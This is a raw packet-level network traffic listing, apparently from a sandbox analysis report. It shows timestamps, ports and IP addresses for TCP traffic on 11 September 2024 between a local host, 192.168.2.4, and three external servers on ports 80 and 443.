Sep 11, 2024 16:22:18.511580944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.511593103 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.511610985 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.511626005 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.511687040 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.511702061 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.511718035 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.511728048 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.511739969 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.511743069 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.511763096 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.511775017 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.511950970 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.511969090 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.511986017 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.511996031 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512001038 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512012959 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512016058 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512031078 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512032986 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512046099 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512056112 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512084961 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512087107 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512101889 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512118101 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512144089 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512151003 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512299061 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512314081 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512336969 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512339115 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512351036 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512358904 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512367010 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512376070 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512382030 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512392044 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512396097 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512406111 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512412071 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512422085 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512434959 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512439013 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512454033 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512458086 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512469053 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512474060 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512487888 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512497902 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512502909 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512512922 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512516975 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512530088 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512533903 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512547970 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512563944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512564898 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512577057 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512584925 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.512615919 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.512625933 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.514487982 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.514503002 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.514518976 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.514540911 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.514564037 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.514590025 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.514611959 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.514627934 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.514631987 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.514643908 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.514647007 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.514667034 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.514671087 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.514681101 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.514684916 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.514703035 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.514720917 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.517093897 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.517115116 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.517138004 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.517160892 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.517162085 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.517179012 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.517179012 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.517195940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.517204046 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.517214060 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.517222881 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.517232895 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.517237902 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.517255068 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.517278910 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.558432102 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:18.558547020 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:18.559223890 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559241056 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559254885 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559283972 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559290886 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559298992 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559314013 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559315920 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559331894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559331894 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559350967 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559359074 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559374094 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559400082 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559413910 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559417009 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559425116 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559425116 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559441090 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559441090 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559457064 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559458017 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559474945 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559484005 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559490919 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559499025 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559505939 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559515953 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559521914 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559535027 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559547901 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559572935 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559601068 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559614897 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559634924 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559642076 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559658051 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559664011 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559674978 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559679985 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559695005 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559695959 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559710979 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559711933 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559731007 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559746981 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559813976 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559828043 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559844017 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559849024 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559860945 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559876919 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559883118 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559885025 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559900045 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559907913 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559916973 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559922934 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559937954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559940100 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559952974 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559956074 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559968948 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.559969902 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559987068 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.559993982 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.560002089 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.560010910 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.560026884 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.560041904 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.560060978 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.560127974 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.560142040 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.560158014 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.560174942 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.560192108 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.560400963 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.560415983 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.560431004 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.560445070 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.560447931 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.560460091 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.560460091 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.560480118 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.560497046 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.560638905 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.560652971 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.560667038 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.560674906 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.560698032 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.560720921 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.560739040 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.560744047 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.560755968 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.560759068 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.560771942 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.560772896 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.560789108 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.560791969 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.560805082 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.560805082 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.560826063 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.560841084 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.561047077 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.561060905 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.561119080 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.561120987 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.561136961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.561151028 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.561172009 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.561173916 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.561188936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.561191082 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.561203957 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.561206102 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.561219931 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.561220884 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.561234951 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.561235905 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.561252117 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.561252117 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.561269045 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.561273098 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.561286926 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.561314106 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.561345100 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.561359882 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.561374903 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.561387062 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.561395884 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.561412096 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.561429977 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.561822891 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.561887026 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.561992884 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.562015057 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.562030077 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.562031031 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.562047005 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.562053919 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.562064886 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.562068939 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.562084913 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.562098980 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.562113047 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.562119007 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.562119007 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.562133074 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.562136889 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.562150955 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.562166929 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.562172890 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.562181950 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.562187910 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.562197924 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.562203884 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.562212944 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.562218904 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.562228918 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.562236071 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.562251091 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.562253952 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.562268972 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.562269926 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.562284946 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.562288046 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.562300920 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.562303066 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.562318087 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.562320948 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.562334061 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.562350035 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.562939882 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:18.562967062 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:18.563252926 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:18.563311100 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:18.563618898 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:18.573307037 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573322058 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573334932 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573371887 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573402882 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573415041 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573417902 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573435068 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573450089 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573455095 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573470116 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573478937 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573501110 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573520899 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573570013 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573586941 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573606968 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573627949 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573636055 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573651075 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573667049 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573678970 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573681116 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573697090 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573715925 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573715925 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573715925 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573731899 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573735952 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573750019 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573765993 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573781967 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573796034 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573806047 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573817968 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573820114 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573834896 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573848009 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573849916 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573865891 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573865891 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573882103 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573893070 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573893070 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573900938 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573903084 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573915958 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573921919 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573934078 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573940039 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573949099 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573950052 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573966980 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573972940 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.573982000 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.573993921 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574001074 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.574018002 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.574021101 CEST	49734	80	192.168.2.4	147.45.44.104
